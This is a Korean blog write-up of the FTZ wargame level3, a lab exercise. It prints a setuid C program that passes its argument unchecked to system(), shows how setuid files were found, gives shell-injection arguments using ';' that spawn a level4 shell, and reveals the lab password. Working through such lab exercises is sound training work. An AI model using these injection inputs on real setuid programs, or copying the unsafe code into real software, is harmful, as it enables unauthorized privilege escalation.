티스토리 뷰
cat 으로 hint 파일을 열면
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
이렇게 autodig의 소스와 힌트가 있다.
우선 setuid가 있는 파일을 찾자.
[level3@ftz level3]$ find / -perm -4000 -user level4 2>/dev/null
/bin/autodig
그냥 autodig 파일을 실행시키면
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
이 부분만 출력된다.
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
이 코드를 보면
strcpy, strcat을 좀 알아야 하는데
autodig의 인자가 2개이면 cmd에 dig @ 를 복사해넣고, cmd에 argv[1] 의 값과 version.bind chaos txt를 이어 붙인다.
그 후 system 함수를 통해 cmd를 실행시킨다.
힌트 부분을 생각한다면
- 동시에 여러 명령어를 사용하려면? => ; 사용
- 문자열 형태로 명령어를 전달하려면? => " " 사용
이런식으로 ./autodig ~~~~ ; my-pass 를 하면 현재 level3의 pw를 알아낼 수 있으므로
; 과 " 를 사용해 level4 의 쉘을 실행시키고 my-pass로 pw를 알아내는 방법이 있다.
1. ./autodig "level4;/bin/bash;"
2. ./autodig "/bin/bash;my-pass;"
Level4 Password is "suck my brain".
'System > FTZ' 카테고리의 다른 글
[FTZ] level6 (0) | 2017.09.08 |
---|---|
[FTZ] level5 (1) | 2017.09.08 |
[FTZ] level4 (0) | 2017.09.08 |
[FTZ] level2 (0) | 2017.09.06 |
[FTZ] level1 (2) | 2017.09.06 |
- Total
- Today
- Yesterday
- 웹해킹
- c언어
- cobolt
- 우분투
- WebHacking
- 1번
- 자바
- wargame
- Python
- pwnable.kr
- 워게임
- C
- 0xdeadbeef
- my-pass
- lob
- java
- 파이썬
- MySQL
- Los
- Lord of SQL Injection
- webhacking.kr
- ftz
- lord of sqlinjection
- attackme
- 명령어
- 설치
- wargame.kr
- BOF
- pwnable
- ubuntu
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |